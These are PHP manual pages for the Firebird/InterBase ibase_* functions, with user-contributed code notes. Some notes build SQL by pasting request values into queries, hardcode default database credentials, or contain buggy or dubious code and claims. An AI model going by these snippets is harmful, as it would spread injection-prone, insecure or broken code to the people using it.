// Minimalistic code example

// Connection
$db = '/path/to/database.gdb';
$user = 'username';
$password = 'password';
$res = ibase_connect($db,$dbuser,$dbpass) or die("<br>" . ibase_errmsg());

// Query
$sql="SELECT * FROM table;"
$result=ibase_query($res,$sql) or die(ibase_errmsg());
while($row=ibase_fetch_object($result)){
    // use $row->FIELDNAME not $row->fieldname
    print $row->FIELDNAME;
}
ibase_free_result($result);

// Closing
ibase_close($res) or die("<br>" . ibase_errmsg());
?>

The following code can be used when creating tables in order to get auto incrementing fields:

<?php

// This function generates an autoincrement field, such as MySQL AUTO_INCREMENT.
function generate_autoincrement($tablename,$primarykey){
    // * Generator
    dbexec('CREATE GENERATOR GEN_' . $tablename . '_PK;');
    // * Trigger
    dbexec('CREATE TRIGGER INC_' . $primarykey . ' FOR ' . $tablename
        . chr(13) . 'ACTIVE BEFORE INSERT POSITION 0'
        . chr(13) . 'AS'
        . chr(13) . 'BEGIN'
        . chr(13) . 'IF (NEW.' . $primarykey . ' IS NULL) THEN'
        . chr(13) . 'NEW.' . $primarykey . '= GEN_ID(GEN_' . $tablename . '_PK, 1);'
        . chr(13) . 'END');
}
?>

Usage: <?php generate_autoincrement('table','column name'); ?>
felixlee at singnet dot com dot sg 02-Jul-2003 11:33
Here's an example for getting results back from stored procedure in firebird.
The example make use of the stored procedure in Employee.gdb and the show_langs procedure.

$host = 'localhost:X:/firebird/examples/Employee.gdb';
$username='SYSDBA';
$password='masterkey';

$dbh = ibase_connect ( $host, $username, $password ) or die ("error in db connect");
 $stmt="Select * from SHOW_LANGS('SRep',4,'Italy')";
 $query = ibase_prepare($stmt);
 $rs=ibase_execute($query);
$row = ibase_fetch_row($rs);

echo $row[0];

/* free result */
ibase_free_query($query);
ibase_free_result($rs);

/* close db */
ibase_close($dbh);
?>
lars at dybdahl dot net 20-Sep-2002 07:32
It is not possible to use interbase/firebird without initiating transactions. It seems that transactions are not automatically committed or rolled back at the end of a script, so remember to end all interbase enabled scripts with ibase_rollback() or ibase_commit().

Worse is, that if you use ibase_pconnect (recommended), transactions survive from one request to the next. So that if you don't rollback your transaction at the end of the script, another user's request might continue the transaction that the first request opened.

This has two implications:
1) Clicking refresh in your browser won't make you see newer data, because you still watch data from the same transaction.
2) Some php scripts might fail occassionally and not fail in other occasions, depending on with apache server thread and thereby which transaction they start using.

Unfortunately, there is no such thing as
if (ibase_intransaction()) ibase_rollback();

so be sure that ALL your scripts end with an ibase_rollback() or ibase_commit();
interbase at almico dot com 05-Sep-2002 02:24
If you are using VirtualHosts with Apache, you might find useful the following directive:

php_flag magic_quotes_sybase on

Use it in any VirtualHost and it will be set locally to that VirtualHost without interfering with any global setting.
This is an example:

<VirtualHost 555.666.777.888>
   ServerName www.samplehost.com
   DirectoryIndex index.php index.htm
   php_flag magic_quotes_sybase on
</VirtualHost>
theynich_s at yahoo dot com 11-May-2002 11:16
Hello PHP Mania,

i have made a paging for PHP with Interbase...... :)

i hope it usefull and work....:)

it`s a litle bit of example :

<?
$connection = ibase_connect($yourdb, $user, $password);

$filename = BASENAME(__FILE__);
$strsql = "Your SQL";
$result = ibase_query($connection, $strsql);

function ibase_num_rows($query) { //I have pick it from bg_idol@hotmail.com
 $i = 0;
 while (ibase_fetch_row($query)) {
    $i++;
  }
return $i;
}
$nrow = ibase_num_rows($result);//sum of row

$strSQL = "your SQL";
$result = ibase_query($connection, $strSQL);

if (!isset($page))
  $page = 1;

$$i = 0;
$recperpage = 4;
$norecord = ($page - 1) * $recperpage;
if ($norecord){
  $j=0;
  while($j < $norecord and list($code, $name)= ibase_fetch_row($result)){

  $j++;
  }
}
echo "<table>";
while (list($code, $name)= ibase_fetch_row($result) and $i < $recperpage){

  ?>
    <tr>
        <td width="5%"><? echo $code; ?></td>
        <td><? echo $name; ?></td>
    </tr>
<?
$i++;
}

$incr = $page + 1;
if ($page > 1) $decr = $page - 1;

$numOfPage = ceil($nrow/$recperpage);
?>
    <tr>
<td colspan="3" align="center"><?if ($page <= 1)
                    echo "<span>Prev</span>";
                  else
                      echo "<a href=".$filename."?page=".$decr.">Prev</a>";
                ?>
                &nbsp;&nbsp;
                <?if ($page == $numOfPage)
                    echo "<span>Next</span>";
                  else
                      echo "<a href=".$filename."?page=".$incr.">Next</a>";?>
</td>
</tr>
</table>
johan at essay dot org 06-Aug-2000 07:24
For those who have problem with returning values from Stored Procedures in PHP-Interbase,  I have found a solution.   Use a select sentence like this:
select * from sp_prodecure(param, ...)
However, it is important that the procedure has a SUSPEND statement or else the procedure won't return any values.

But the "message length" (see above note) bug that you encounter when you try to execute a procedure should be fixed !
Predefined Constants
ibase_add_user
Firebird/InterBase


Add a user to a security database (only for IB6 or later)

Firebird/InterBase Functions
ibase_affected_rows
Firebird/InterBase Functions
PHP Manual

ibase_add_user

(PHP 4 >= 4.2.0, PHP 5)

ibase_add_user — Add a user to a security database (only for IB6 or later)

Description

bool ibase_add_user ( resource $service_handle , string $user_name , string $password [, string $first_name [, string $middle_name [, string $last_name ]]] )

PHP 4 uses server, dba_user_name and dba_user_password instead of service_handle parameter.

Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_modify_user() - Modify a user to a security database (only for IB6 or later)
  • ibase_delete_user() - Delete a user from a security database (only for IB6 or later)

User Contributed Notes

pabloj 12-Apr-2006 02:10
You can create users on Firebird/Interbase this way:

<?php
    // attach to the server with proper privileges
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        // get server version and implementation strings
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        //ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;

//add a new user with name 'pippo' and password 'pp'
if (($result = ibase_add_user($service, 'pippo', 'pp')) != FALSE) {
        echo 'User created';
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
        //detach from server
        ibase_service_detach($service);
    }
?>
Firebird/InterBase Functions
ibase_affected_rows
Firebird/InterBase Functions


Return the number of rows that were affected by the previous query

ibase_add_user
ibase_backup
Firebird/InterBase Functions
PHP Manual

ibase_affected_rows

(PHP 5)

ibase_affected_rows — Return the number of rows that were affected by the previous query

Description

int ibase_affected_rows ([ resource $link_identifier ] )

This function returns the number of rows that were affected by the previous query (INSERT, UPDATE or DELETE) that was executed from within the specified transaction context.

Parameters

link_identifier

A transaction context. If link_identifier is a connection resource, its default transaction is used.

Return Values

Returns the number of rows as an integer.

See Also

  • ibase_query() - Execute a query on an InterBase database
  • ibase_execute() - Execute a previously prepared query

User Contributed Notes

There are no user contributed notes for this page.
ibase_add_user
ibase_backup
Firebird/InterBase Functions


Initiates a backup task in the service manager and returns immediately

ibase_affected_rows
ibase_blob_add
Firebird/InterBase Functions
PHP Manual

ibase_backup

(PHP 5)

ibase_backup — Initiates a backup task in the service manager and returns immediately

Description

mixed ibase_backup ( resource $service_handle , string $source_db , string $dest_file [, int $options = 0 [, bool $verbose = false ]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

Gara 11-Jan-2006 04:36
I tried to get the backup function working, but could never figur out where to get the resource service_handle. The trick was to use ibase_service_attach.

$resource_service_handle = ibase_service_attach ('localhost', 'username', 'password');

ibase_backup($resource_service_handle, 'source_database', 'destination_file');

ibase_service_detach ($resource_service_handle);
ibase_affected_rows
ibase_blob_add
Firebird/InterBase Functions


Add data into a newly created blob

ibase_backup
ibase_blob_cancel
Firebird/InterBase Functions
PHP Manual

ibase_blob_add

(PHP 4, PHP 5)

ibase_blob_add — Add data into a newly created blob

Description

void ibase_blob_add ( resource $blob_handle , string $data )

ibase_blob_add() adds data into a blob created with ibase_blob_create().

Parameters

blob_handle

A blob handle opened with ibase_blob_create().

data

The data to be added.

Return Values

No value is returned.

See Also

  • ibase_blob_cancel() - Cancel creating blob
  • ibase_blob_close() - Close blob
  • ibase_blob_create() - Create a new blob for adding data
  • ibase_blob_import() - Create blob, copy file in it, and close it

User Contributed Notes

a dot w dot peters at ieee dot org 09-Dec-2004 07:48
To actually insert the BLOB into a table, the following snippet of code shows how this can be done.

<?php
  $dbh = ibase_connect($host, $user, $pass);

  $blh = ibase_blob_create($dbh);
  ibase_blob_add($blh, $data);
  $blobid = ibase_blob_close($blh);

  $sql = "INSERT INTO blobtable(blobfield) VALUES (?)";
  $sth = ibase_query($dbh, $sql, $blobid);
?>
ibase_backup
ibase_blob_cancel
Firebird/InterBase Functions


Cancel creating blob

ibase_blob_add
ibase_blob_close
Firebird/InterBase Functions
PHP Manual

ibase_blob_cancel

(PHP 4, PHP 5)

ibase_blob_cancel — Cancel creating blob

Description

bool ibase_blob_cancel ( resource $blob_handle )

This function will discard a BLOB if it has not yet been closed by ibase_blob_close().

Parameters

blob_handle

A BLOB handle opened with ibase_blob_create().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_blob_close() - Close blob
  • ibase_blob_create() - Create a new blob for adding data
  • ibase_blob_import() - Create blob, copy file in it, and close it

User Contributed Notes

There are no user contributed notes for this page.
ibase_blob_add
ibase_blob_close
Firebird/InterBase Functions


Close blob

ibase_blob_cancel
ibase_blob_create
Firebird/InterBase Functions
PHP Manual

ibase_blob_close

(PHP 4, PHP 5)

ibase_blob_close — Close blob

Description

mixed ibase_blob_close ( resource $blob_handle )

This function closes a BLOB that has either been opened for reading by ibase_blob_open() or has been opened for writing by ibase_blob_create().

Parameters

blob_handle

A BLOB handle opened with ibase_blob_create() or ibase_blob_open().

Return Values

If the BLOB was being read, this function returns TRUE on success, if the BLOB was being written to, this function returns a string containing the BLOB id that has been assigned to it by the database. On failure, this function returns FALSE.

See Also

  • ibase_blob_cancel() - Cancel creating blob
  • ibase_blob_open() - Open blob for retrieving data parts

User Contributed Notes

There are no user contributed notes for this page.
ibase_blob_cancel
ibase_blob_create
Firebird/InterBase Functions


Create a new blob for adding data

ibase_blob_close
ibase_blob_echo
Firebird/InterBase Functions
PHP Manual

ibase_blob_create

(PHP 4, PHP 5)

ibase_blob_create — Create a new blob for adding data

Description

resource ibase_blob_create ([ resource $link_identifier = NULL ] )

ibase_blob_create() creates a new BLOB for filling with data.

Parameters

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

Return Values

Returns a BLOB handle for later use with ibase_blob_add() or FALSE on failure.

See Also

  • ibase_blob_add() - Add data into a newly created blob
  • ibase_blob_cancel() - Cancel creating blob
  • ibase_blob_close() - Close blob
  • ibase_blob_import() - Create blob, copy file in it, and close it

User Contributed Notes

There are no user contributed notes for this page.
ibase_blob_close
ibase_blob_echo
Firebird/InterBase Functions


Output blob contents to browser

ibase_blob_create
ibase_blob_get
Firebird/InterBase Functions
PHP Manual

ibase_blob_echo

(PHP 4, PHP 5)

ibase_blob_echo — Output blob contents to browser

Description

bool ibase_blob_echo ( string $blob_id )
bool ibase_blob_echo ( resource $link_identifier , string $blob_id )

This function opens a BLOB for reading and sends its contents directly to standard output (the browser, in most cases).

Parameters

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

blob_id

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_blob_open() - Open blob for retrieving data parts
  • ibase_blob_close() - Close blob
  • ibase_blob_get() - Get len bytes data from open blob

User Contributed Notes

int21h 05-Jul-2011 02:11
here is an example if image.php

<?php
if (isset($_REQUEST['imageid']) AND $_REQUEST['imageid']>0) {
    $db = 'host:/var/db/mydb.fdb';
    $dbusername = 'sysdba';
    $dbpassword = 'masterkey';
    $query = "SELECT IMAGEDATA, MIME FROM IMAGES WHERE IMAGEID=".$_REQUEST['imageid'];
    $dbh = ibase_connect($db, $dbusername, $dbpassword, 'UTF8') or die('Couldn't connect DB');
    $result = ibase_query($query);
    $data = ibase_fetch_object($result);
    if ($data)
    {
        header("Content-type: ".$data->MIME);
        ibase_blob_echo ($data->IMAGEDATA);
    }
    ibase_close($dbh);
}
?>
ibase_blob_create
ibase_blob_get
Firebird/InterBase Functions


Get len bytes data from open blob

ibase_blob_echo
ibase_blob_import
Firebird/InterBase Functions
PHP Manual

ibase_blob_get

(PHP 4, PHP 5)

ibase_blob_get — Get len bytes data from open blob

Description

string ibase_blob_get ( resource $blob_handle , int $len )

This function returns at most len bytes from a BLOB that has been opened for reading by ibase_blob_open().

Note:

It is not possible to read from a BLOB that has been opened for writing by ibase_blob_create().

Parameters

blob_handle

A BLOB handle opened with ibase_blob_open().

len

Size of returned data.

Return Values

Returns at most len bytes from the BLOB, or FALSE on failure.

Examples

Example #1 ibase_blob_get() example

<?php
$result    = ibase_query("SELECT blob_value FROM table");
$data      = ibase_fetch_object($result);
$blob_data = ibase_blob_info($data->BLOB_VALUE);
$blob_hndl = ibase_blob_open($data->BLOB_VALUE);
echo         ibase_blob_get($blob_hndl, $blob_data[0]);
?>
Whilst this example doesn't do much more than a 'ibase_blob_echo($data->BLOB_VALUE)' would do, it does show you how to get information into a $variable to manipulate as you please.

See Also

  • ibase_blob_open() - Open blob for retrieving data parts
  • ibase_blob_close() - Close blob
  • ibase_blob_echo() - Output blob contents to browser

User Contributed Notes

trinite at trinite dot mine dot nu 29-Dec-2005 03:33
The ways mentioned above won't work with segmented blobs. To fix this, I use the following:
(btw, $result->MFOTO is an image in the database)

<?php
    $result = ibase_fetch_object($result);

    /*
     ibase_blob_info array:
     [0] bloblength(total)
     [1] number of segments
     [2] size of largest segment
     [3] stream or segmented blob
     [4] ??
    */
    $blobinfo = ibase_blob_info($result->MFOTO);

    $blobhandle = ibase_blob_open($result->MFOTO);
    for($i = 0; $i < $blobinfo[1]; $i++){
        $readsize = $blobinfo[2];
        if($i == ($blobinfo[1] - 1)){
            $readsize = $blobinfo[0] - (($blobinfo[1] - 1) * $blobinfo[2]);
        }
        $totalimage .= ibase_blob_get($blobhandle, $readsize);
    }
    ibase_blob_close($blobhandle);
    echo $totalimage;
?>

This should do the trick ;)
hamacker 24-Nov-2004 06:03
The first example is wrong, is missing ibase_blob_close() function.
The correct example is :
<?php
   $sql      = "SELECT blob_value FROM table";
   $result    = ibase_query($sql);
   $data      = ibase_fetch_object($result);
   $blob_data = ibase_blob_info($data->BLOB_VALUE);
   $blob_hndl = ibase_blob_open($data->BLOB_VALUE);
   print        ibase_blob_get($blob_hndl, $blob_data[0]);
   // without close blob conection, php and ibase_blob_get() do not run.
  ibase_blob_close($blob_hndl);
?>
sol at nospam dot example dot com 18-Mar-2003 10:59
I found examples like these:

$sql = "SELECT ID, CONTENTTYPE, BLOBSIZE, DATA,NAME ";
$sql.= " FROM OM_BLOB WHERE ID = 42";
$result = ibase_query($sql);
while ($row=ibase_fetch_object($result))
{
    $blob_data = ibase_blob_info( $row->DATA);
    $blob_hndl = ibase_blob_open($row->DATA);
    $image = ibase_blob_get( $blob_hndl, $blob_data[0]);
}
but this won't work for large blobs.

One solution for big blobs is to retrieve them by chunks:

$sql = "SELECT ID, CONTENTTYPE, BLOBSIZE, DATA,NAME ";
$sql.= " FROM OM_BLOB WHERE ID = 42";
$result = ibase_query($sql);
while ($row=ibase_fetch_object($result))
{
    $image = ibase_blob_get($blob_hndl,8192);
    while($data = ibase_blob_get($blob_hndl, 8192)){
        $image .= $data;
    }
}
ibase_blob_echo
ibase_blob_import
Firebird/InterBase Functions


Create blob, copy file in it, and close it

ibase_blob_get
ibase_blob_info
Firebird/InterBase Functions
PHP Manual

ibase_blob_import

(PHP 4, PHP 5)

ibase_blob_import — Create blob, copy file in it, and close it

Description

string ibase_blob_import ( resource $link_identifier , resource $file_handle )
string ibase_blob_import ( resource $file_handle )

This function creates a BLOB, reads an entire file into it, closes it and returns the assigned BLOB id.

Parameters

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

file_handle

The file handle is a handle returned by fopen().

Return Values

Returns the BLOB id on success, or FALSE on error.

Examples

Example #1 ibase_blob_import() example

<?php
$dbh = ibase_connect($host, $username, $password);
$filename = '/tmp/bar';

$fd = fopen($filename, 'r');
if ($fd) {

    $blob = ibase_blob_import($dbh, $fd);
    fclose($fd);

    if (!is_string($blob)) {
        // import failed
    } else {
        $query = "INSERT INTO foo (name, data) VALUES ('$filename', ?)";
        $prepared = ibase_prepare($dbh, $query);
        if (!ibase_execute($prepared, $blob)) {
            // record insertion failed
        }
    }
} else {
    // unable to open the data file
}
?>

See Also

  • ibase_blob_add() - Add data into a newly created blob
  • ibase_blob_cancel() - Cancel creating blob
  • ibase_blob_close() - Close blob
  • ibase_blob_create() - Create a new blob for adding data

User Contributed Notes

hamacker at bol dot com dot br 19-Jan-2004 08:40
Exemplo (Example) :
  $conexao = ibase_connect('servidor:/path/do/arquivo/de/dados.fdb',
                    'SYSDBA',
                    'masterkey',
                    'ISO8859_1',0,3);
// ou voce pega o arqivo via um upload ou
// passara diretamente o path do .jpg
//  $filename =$HTTP_POST_FILES['meuarquivo']['tmp_name'];
// ou
  $filename ='c:\path\do\arquivo.jpg';
  $file = fopen($filename, "r");
  $blob = ibase_blob_import($file);
  $trans=ibase_trans();
  $sth=ibase_prepare($conexao,"UPDATE PRODUTOS SET fotografia=? WHERE coditem= '{$coditem}';");
  $trans=ibase_trans();
  ibase_execute($sth,$blob);
  ibase_commit($trans);
  ibase_free_query($sth);
ibase_blob_get
ibase_blob_info
Firebird/InterBase Functions


Return blob length and other useful info

ibase_blob_import
ibase_blob_open
Firebird/InterBase Functions
PHP Manual

ibase_blob_info

(PHP 4, PHP 5)

ibase_blob_info — Return blob length and other useful info

Description

array ibase_blob_info ( resource $link_identifier , string $blob_id )
array ibase_blob_info ( string $blob_id )

Returns the BLOB length and other useful information.

Parameters

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

blob_id

A BLOB id.

Return Values

Returns an array containing information about a BLOB. The information returned consists of the length of the BLOB, the number of segments it contains, the size of the largest segment, and whether it is a stream BLOB or a segmented BLOB.

User Contributed Notes

There are no user contributed notes for this page.
ibase_blob_import
ibase_blob_open
Firebird/InterBase Functions


Open blob for retrieving data parts

ibase_blob_info
ibase_close
Firebird/InterBase Functions
PHP Manual

ibase_blob_open

(PHP 4, PHP 5)

ibase_blob_open — Open blob for retrieving data parts

Description

resource ibase_blob_open ( resource $link_identifier , string $blob_id )
resource ibase_blob_open ( string $blob_id )

Opens an existing BLOB for reading.

Parameters

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

blob_id

A BLOB id.

Return Values

Returns a BLOB handle for later use with ibase_blob_get() or FALSE on failure.

See Also

  • ibase_blob_close() - Close blob
  • ibase_blob_echo() - Output blob contents to browser
  • ibase_blob_get() - Get len bytes data from open blob

User Contributed Notes

Kevin Hamilton 27-Feb-2006 01:39
While it is true that PHP4 allows only one parameter, it is not true that PHP5 allows only 2 parameters.  The correct function signature for PHP5 should be:

resource ibase_blob_open([ resource link_identifier, ] string blob_id)

If a link_identifier is not provided, then the "default" link_identifier will be used.  The default link identifier is assigned every time you call ibase_connect or ibase_pconnect, so if you have multiple connections it will be  whichever was connected LAST.
ibase_blob_info
ibase_close
Firebird/InterBase Functions


Close a connection to an InterBase database

ibase_blob_open
ibase_commit_ret
Firebird/InterBase Functions
PHP Manual

ibase_close

(PHP 4, PHP 5)

ibase_close — Close a connection to an InterBase database

Description

bool ibase_close ([ resource $connection_id = NULL ] )

Closes the link to an InterBase database that's associated with a connection id returned from ibase_connect(). Default transaction on link is committed, other transactions are rolled back.

Parameters

connection_id

An InterBase link identifier returned from ibase_connect(). If omitted, the last opened link is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_connect() - Open a connection to an InterBase database
  • ibase_pconnect() - Open a persistent connection to an InterBase database

User Contributed Notes

02-Apr-2002 03:18
Before close the connection remember to free your query results too...

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
    .............
}
ibase_free_result($sth);  //  <-------
ibase_close($dbh);
ibase_blob_open
ibase_commit_ret
Firebird/InterBase Functions


Commit a transaction without closing it

ibase_close
ibase_commit
Firebird/InterBase Functions
PHP Manual

ibase_commit_ret

(PHP 5)

ibase_commit_ret — Commit a transaction without closing it

Description

bool ibase_commit_ret ([ resource $link_or_trans_identifier = NULL ] )

Commits a transaction without closing it.

Parameters

link_or_trans_identifier

If called without an argument, this function commits the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be committed. If the argument is a transaction identifier, the corresponding transaction will be committed. The transaction context will be retained, so statements executed from within this transaction will not be invalidated.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ibase_close
ibase_commit
Firebird/InterBase Functions


Commit a transaction

ibase_commit_ret
ibase_connect
Firebird/InterBase Functions
PHP Manual

ibase_commit

(PHP 4, PHP 5)

ibase_commit — Commit a transaction

Description

bool ibase_commit ([ resource $link_or_trans_identifier = NULL ] )

Commits a transaction.

Parameters

link_or_trans_identifier

If called without an argument, this function commits the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be committed. If the argument is a transaction identifier, the corresponding transaction will be committed.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ibase_commit_ret
ibase_connect
Firebird/InterBase Functions


Open a connection to an InterBase database

ibase_commit
ibase_db_info
Firebird/InterBase Functions
PHP Manual

ibase_connect

(PHP 4, PHP 5)

ibase_connect — Open a connection to an InterBase database

Description

resource ibase_connect ([ string $database [, string $username [, string $password [, string $charset [, int $buffers [, int $dialect [, string $role [, int $sync ]]]]]]]] )

Establishes a connection to an InterBase server.

In case a second call is made to ibase_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling ibase_close().

Parameters

database

The database argument has to be a valid path to database file on the server it resides on. If the server is not local, it must be prefixed with either 'hostname:' (TCP/IP), '//hostname/' (NetBEUI) or 'hostname@' (IPX/SPX), depending on the connection protocol used.

username

The user name. Can be set with the ibase.default_user php.ini directive.

password

The password for username. Can be set with the ibase.default_password php.ini directive.

charset

charset is the default character set for a database.

buffers

buffers is the number of database buffers to allocate for the server-side cache. If 0 or omitted, server chooses its own default.

dialect

dialect selects the default SQL dialect for any statement executed within a connection, and it defaults to the highest one supported by client libraries. Functional only with InterBase 6 and up.

role

Functional only with InterBase 5 and up.

sync

Return Values

Returns an InterBase link identifier on success, or FALSE on error.

Errors/Exceptions

If you get some error like "arithmetic exception, numeric overflow, or string truncation. Cannot transliterate character between character sets" (this occurs when you try use some character with accents) when using this and after ibase_query() you must set the character set (i.e. ISO8859_1 or your current character set).

Examples

Example #1 ibase_connect() example

<?php
$host = 'localhost:/path/to/your.gdb';

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
    echo $row->email, "\n";
}
ibase_free_result($sth);
ibase_close($dbh);
?>

See Also

  • ibase_pconnect() - Open a persistent connection to an InterBase database
  • ibase_close() - Close a connection to an InterBase database

User Contributed Notes

kgbfernando at yahoo dot com dot br 22-Jan-2008 06:25
If you have this problem:

Warning: ibase_connect(): Unable to complete network request to host "localhost"
. Failed to locate host machine. Undefined service gds_db/tcp.  in C:\\wamp\\php\\ibase.php on line 5

This is because php is deployed with old client library gds32.dll.

To resolve this, update this library to Firebird latest version of fbclient.dll, of course, rename it to gds32.dll and overwrite into php dir.

Or simply don't use localhost ou 127.0.0.1, use computer name.
fb dot bird at gmail dot com 10-Aug-2007 02:32
Remember for different locations
of php.ini file:

..\xampp\php\php.ini
..\xampp\apache\bin\php.ini
..\xampp\php\php4\php.ini

Please do not confuse this
and know location _loaded_ *.ini-file!
Łukasz Wojciechowski 11-Feb-2007 03:06
ag at dividi dot de wrote:
"
The solution is to insert the line
gds_db    3050/tcp    #firebird Database
into the windows services file %WINDIR%\\system32\\drivers\\etc\\services
"

...but it is very important to hit ENTER at the end of this line:
gds_db    3050/tcp    #firebird Database

I spent 2 hours before I discover this - I love Windows ;-)

--
greetings
ag at dividi dot de 20-Sep-2005 05:07
With php5 on Windows i couldnt connect to a firebird database with following error :

Warning: ibase_connect(): Unable to complete network request to host "localhost"
. Failed to locate host machine. Undefined service gds_db/tcp.  in C:\\wamp\\php\\ibase.php on line 5

the connect command was "$dbh = ibase_connect ("localhost:path_to_file.fdb", $username, $password);"

The solution is to insert the line
gds_db    3050/tcp    #firebird Database
into the windows services file %WINDIR%\\system32\\drivers\\etc\\services
Robert Silvia 04-Dec-2004 05:02
Just to update Simon's note...

Things must have been fixed since Simon wrote that note.
With PHP5 the following example works flawlessly:

$strconnect = 'localhost:/opt/firebird/examples/employee.fdb';

if (!($db=ibase_connect($strconnect, 'sysdba', 'yourpass', 'ISO8859_1', 0, 1)))
    die('Could not connect: ' .  ibase_errmsg());

  $sql  = "SELECT PO_NUMBER, ORDER_STATUS, ITEM_TYPE FROM SALES";
  $cursor = ibase_query($sql);
  $row_array = ibase_fetch_row($cursor);

  print_r($row_array);

  ibase_free_result($cursor);
  ibase_close($db);

Also you CAN get away with the following connection string:
ibase_connect('/opt/firebird/examples/employee.fdb', 'sysdba', 'yourpass')
sam at intranex.ru 05-Aug-2004 04:08
If you get a sloooow work of ibase_connect on Win2003, try to update your FireBird to version 1.5 or above, and your InterBase to version 7.1. Or move back to Win2000 :)
simon at thorndancer dot com 14-Jun-2003 11:22
I found it difficult to get anything working using the current documentation.
While logic would suggest that the format in the docs should work (being based on all the
syntax of other standard database access functions) I had problem after problem. Finally I
found some comments on a newgroup that helped, and this is the result.

This is actual production code (not a mere example). It works.
Don't ask me why it is so different from the official docs.

if ( ibase_connect( $db_filespec,$db_user,$db_pass_word) )
{
    $query  = "SELECT c.id, c.title, c.description ";
    $query .= "FROM collections c ";
    $query .= "WHERE (c.id = $page_id) ";

    $result = ibase_query( $query );

    $row_array = ibase_fetch_row($result);

    $row_fetched = !empty($row_array);

    if ($row_fetched)
    {
       // Extract the row into variables

        $collection_id   = $row_array[0];
       $edit_title      = $row_array[1];
       $edit_desc       = $row_array[2];

       // Standardise the record contents

        $collection_id   = $collection_id + 0;      // force type to numeric
     }

    // Wrap up the database side of things

     ibase_commit();     // note parenthesis but no parameters.

     ibase_close;        // note total lack of parenthesis and parameters !
}

You'll notice that there is no reference to a database handle in this code.
It seems to be implicit when dealing with interbase functions. Certainly, I couldn't
get the code to work when using it explicitly. This makes the documentation
very hard to work with, and any reference to a handle needs to be ignored.

Important: ibase_close doesn't work for me if I put parenthesis after it.
eg:
        ibase_close;        // works
        ibase_close();      // fails
        ibase_close($db);   // fails

Note: the line "if ($row_fetched)" could be replaced with "while ($row_fetched)"
if you need to process more than one record.

All that said, Interbase is a fantastic database to work with and IMHO a much
better choice than something like PostgreSQL if you need to move up from MySQL
to something more industrial strength. Just be sure to RTFM.
anthony at trams dot com 20-Nov-2000 07:44
If you get a message like: 'Dynamic SQL Error SQL error code = -901 feature is not supported', this may be caused by InterBASE client 6.01 accessing a server running 5.x.

Make sure the dialect value is set to '1', like the following:

ibase_connect ('localhost:/usr/db/db.gdb', 'SYSDBA', 'masterkey', 'ISO8859_1', '100', '1' ) ;

That last value is the dialect, but you need the two preceding also, do avoid errors.

Anthony
ibase_commit
ibase_db_info
Firebird/InterBase Functions


Request statistics about a database

ibase_connect
ibase_delete_user
Firebird/InterBase Functions
PHP Manual

ibase_db_info

(PHP 5)

ibase_db_info — Request statistics about a database

Description

string ibase_db_info ( resource $service_handle , string $db , int $action [, int $argument = 0 ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

markus 14-Jan-2007 09:31
I used the following code to test the different returns for the following actions
(in order from least info to more additional info.
(use  pre tags for output)

4    Database header page information
2    Database header page information + “Database log page information”
1   + table, but not per index pages
8   + index pages, but not system
16  + index pages including system

<?php
$databaseUser = "sysdba";
$databasePassword = "edumate2";
$res  = ibase_service_attach( "localhost" , $databaseUser, $databasePassword);

// No idea what the optional argument is for yet.
// every action besides 2,4,8,16 (tested 32) returned the following warning:
// WARNING [2] ibase_db_info() [function.ibase-db-info]: Unrecognised option (5)
$i=$_REQUEST["i"];
if (is_null($i) || empty($i)) $i=4;
echo "####################### action = $i #######################<br>\n";
echo "info:(\n";
echo ibase_db_info($res, "/var/lib/firebird/data/dbinfo.gdb" , $i  );
echo "\n)<br>\n";

ibase_service_detach ($res);
?>

(ps. I dislike fb)
ibase_connect
ibase_delete_user
Firebird/InterBase Functions


Delete a user from a security database (only for IB6 or later)

ibase_db_info
ibase_drop_db
Firebird/InterBase Functions
PHP Manual

ibase_delete_user

(PHP 4 >= 4.2.0, PHP 5)

ibase_delete_user — Delete a user from a security database (only for IB6 or later)

Description

bool ibase_delete_user ( resource $service_handle , string $user_name )

PHP 4 uses server, dba_user_name and dba_user_password instead of service_handle parameter.

Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_add_user() - Add a user to a security database (only for IB6 or later)
  • ibase_modify_user() - Modify a user to a security database (only for IB6 or later)

User Contributed Notes

There are no user contributed notes for this page.
ibase_db_info
ibase_drop_db
Firebird/InterBase Functions


Drops a database

ibase_delete_user
ibase_errcode
Firebird/InterBase Functions
PHP Manual

ibase_drop_db

(PHP 5)

ibase_drop_db — Drops a database

Description

bool ibase_drop_db ([ resource $connection = NULL ] )

This functions drops a database that was opened by either ibase_connect() or ibase_pconnect(). The database is closed and deleted from the server.

Parameters

connection

An InterBase link identifier. If omitted, the last opened link is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_connect() - Open a connection to an InterBase database
